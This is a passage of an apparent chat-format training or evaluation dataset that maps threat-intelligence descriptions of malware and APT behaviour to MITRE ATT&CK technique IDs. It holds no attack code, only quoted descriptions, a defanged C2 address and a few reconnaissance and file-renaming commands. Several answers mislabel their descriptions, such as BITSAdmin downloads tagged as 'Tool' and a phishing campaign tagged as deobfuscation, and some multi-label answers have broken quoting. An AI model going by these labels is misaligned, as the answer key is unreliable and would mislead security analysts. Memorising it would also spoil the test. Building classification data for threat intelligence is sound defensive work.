                "content": "StreamEx has the ability to remotely execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen. Darkhotel has also stolen certificates and signed backdoors and downloaders with them."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has exploited CVE-2019-0803 and MS16-032 to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "shellcode decrypts and decompresses its RC4-encrypted payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history. Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014. Browser plugin: Used to steal browser history, stored passwords and sessions. File listing plugin: Works on local or remote drives and can map additional paths when given credentials"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gsecdump can dump Windows password hashes from the SAM."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has attempted to get users to execute malware via social media and spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer overwrites files locally and on remote shares."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Catchamas captures screenshots based on specific keywords in the window’s title."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The results of the decoded data may be seen below:    Figure 13 Decrypted information The decrypted data contains URLs for various online services that will be used by the attacker for downloading data that will contain the command and control (C2) server(s) and port(s) to be used by Comnie"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1041 - Exfiltration Over C2 Channel', 'T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BONDUPDATER uses \"-windowstyle hidden\" to conceal a PowerShell window that downloads a payload."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has communicated with its C2 server over ports 4443 and 3543."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal has obfuscated strings in Bandook by base64 encoding, and then encrypting them."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses BITSAdmin to download and install payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are additional keys within the Registry that can be modified to further roll back the patch and expose unsafe options in Outlook. The following setting can be used to re-enable the original home page tab and roaming home page behavior in the Outlook UI"
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can open the Windows Firewall on the victim’s machine to allow incoming connections."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From my analyses, I was able to identify http://mdzz2019.noip[.]cn:19931 as its main C2 url. This is a dynamic DNS, meaning the actual IP changes quite frequently. Additionally, on that same url, http://mdzz2019.noip[.]cn:3654/ is used to distribute more versions of this Gh0stRAT sample, along with a .zip file containing ASPXSpy, a web shell"
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On July 18, 2018, one day after the AZORult update above was announced, we observed a campaign delivering thousands of messages targeting North America that used the new version of AZORult. The messages used employment-related subjects such as “About a role” and “Job Application”. The attached documents used file names in the format of “firstname.surname_resume.doc"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use process hollowing for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A typical response from the C2 server is a legitimate-looking webpage containing the string “!DOCTYPE html”, which the malware checks. The malware then locates a Base64-encoded blob, which it decodes and proceeds to load as a shellcode"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WMI permanent event subscriptions can be used to trigger actions when specified conditions are met. Attackers often use this functionality to persist the execution of backdoors at system start up. Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding. WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email. WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others. Creating a WMI permanent event subscription requires administrative privileges on a system"
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack starts with a malicious XLS attachment, sent in a phishing email, containing an obfuscated macro that downloads a heavily packed second-stage downloader. The second stage fetches the encrypted third-stage, which includes three layered encrypted Lokibot. After a privilege escalation, the third stage deploys Lokibot"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses character replacement,  environment variables, and XOR encoding to obfuscate code."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon has collected information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has downloaded PowerShell code from the C2 server to be executed."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 attempted to remove evidence of some of its activity by deleting Bash histories."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T9000 can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has used \"pm.sh\" to download and install its main payload."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar has a module to collect usernames and passwords stored in browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the case of a Linux/Ebury backdoor connection, the &lt;version&gt; contains a hexadecimal string of twenty-two (22) characters or more. It embeds an eleven (11) character password that is first encrypted with the client IP address and then encoded as a hexadecimal string; optionally a four (4) byte command may be encrypted and encoded as well after the password"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic searches for anti-malware services running on the victim’s machine and terminates itself if it finds them."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee gathers a list of processes using the \"tasklist\" command and then is sent back to the control server."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container"
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can use a variant of the sysprep UAC bypass."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wscript.exe does a number of things: It deletes the original QakBot.vbs and writes four files to disk in %APPDATA% induce.flac, pep.csv, rhythm.tex and senate.m4a. Senate.m4a is deleted after full process execution"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute a task to download a file."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several Lazarus Group malware families install themselves as new services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SolarWinds Orion API is vulnerable to authentication bypass that could allow a remote attacker to execute API commands"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PCODE of the virtual machine is packed with the aplib packer"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They also add programs to a startup folder that can be referenced with a registry run key. We detected a variant of the Carbanak malware that adds registry entries and keys as an autostart technique. Credentials of existing valid accounts were also abused."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "“desktop.ini” is used to invoke regasm.exe to launch the payload found in C:\\Users\\Public\\Libraries\\core.dll as a hidden window without returning any error codes."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has used cmd.exe for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has taken advantage of a known vulnerability in Microsoft Word (CVE 2012-0158) to execute code."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. Wizard Spider has also used AdFind and \"nltest/dclist\" to enumerate domain computers, including the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "proxy-servers, web-servers, or software update servers. After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of legitimate traffic"
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "So attackers specify an external C&amp;C server in the command line and the tool connects to this server using HTTP. This remote server is used as a proxy by attackers: the connection that goes to this server is redirected to the internal network by the tool and any response that the tool gets from a computer in the internal network goes to the C&amp;C server. Thus, attackers can communicate with internal servers that are normally unreachable from the internet"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net start\" command can be used in Net to find information about Windows services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following command to rename one of their tools to a benign file name: \"ren \"%temp%\\upload\" audiodg.exe\""
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 9: Example Network Communication In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel has a command to download a file from a remote server to execute."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy installs a service pointing to a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky has exfiltrated data to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to initiate keylogging and screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type has provided the ability to execute shell commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BendyBear has encrypted payloads using RC4 and XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has named malicious files \"rekeywiz.exe\" to match the name of a legitimate Windows executable."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been used to execute the \"ipconfig /all\" command on a victim system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT has the ability to set file attributes to \"hidden\" to hide files from the compromised user's view in Windows File Explorer."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has used compromised domains to host its malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been launched by starting iexplore.exe and replacing it with 's payload."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This will also force the victim to re-open the browser using the newly written .lnk file, which is now loaded with Grandoreiro’s malicious extension. This extension will load on every browser startup using this specific .lnk file"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some variants of FakeM use SSL to communicate with C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. It then executes GetNumberOfMethods and saves the result obtained by the module. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  tool can encrypt payloads using XOR.  malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to brute force password hashes to be able to leverage plain text credentials."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MirageFox can gather the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability save and execute files as alternate data streams (ADS)."
            },
            {
